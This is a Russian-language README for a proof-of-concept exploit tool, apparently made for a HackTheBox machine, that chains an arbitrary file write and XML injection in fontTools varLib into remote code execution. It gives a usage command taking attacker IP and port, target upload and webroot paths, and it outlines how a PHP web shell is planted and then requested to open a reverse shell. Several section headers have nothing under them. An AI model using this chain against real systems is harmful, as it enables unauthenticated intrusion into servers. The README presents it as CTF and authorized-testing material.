CVE-2025-66034 — fontTools varLib Произвольная запись файла → RCE

Эксплойт PoC для уязвимости произвольной записи файла + XML-инъекция в fontTools.varLib Протестировано на HackTheBox — VarIaType

Уязвимость

fontTools.varLib обрабатывает XML-файлы .designspace для создания вариативных шрифтов. Две уязвимости объединяются для достижения RCE без аутентификации:

Объединение обоих примитивов позволяет записать PHP-веб-шелл в веб-доступный путь, достигая неаутентифицированного удаленного выполнения кода.

Использование

python3 font_varlib.py \
  --ip <attacker-ip> \
  --port <port> \
  --upload http://target.htb/tools/variable-font-generator/process \
  --webroot /var/www/portal.target.htb/public/files \
  --shell http://portal.target.htb/files

Параметры

Зависимости

pip install requests fonttools

Как это работает

1. Мастер-шрифты — Два минимальных .ttf файла (source-light.ttf, source-regular.ttf) генерируются с помощью fontTools.FontBuilder в качестве необходимых мастеров для designspace
2. Вредоносный .designspace — Создается специально сформированный XML-файл, содержащий:
   • PHP веб-шелл, внедренный через разделение CDATA внутри <labelname>
   • Абсолютный путь записи, установленный как filename у <variable-font>, обходящий output_dir через os.path.join()
3. Загрузка — .designspace + мастер-шрифты отправляются POST-запросом на конечную точку обработки
4. Запуск — Запрошен загруженный .php файл, выполняется полезная нагрузка reverse shell

Раскрытие

Правовая информация

Данный инструмент предназначен только для авторизованного пентестинга и использования в CTF. Не запускайте против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.

автор: 4nuxd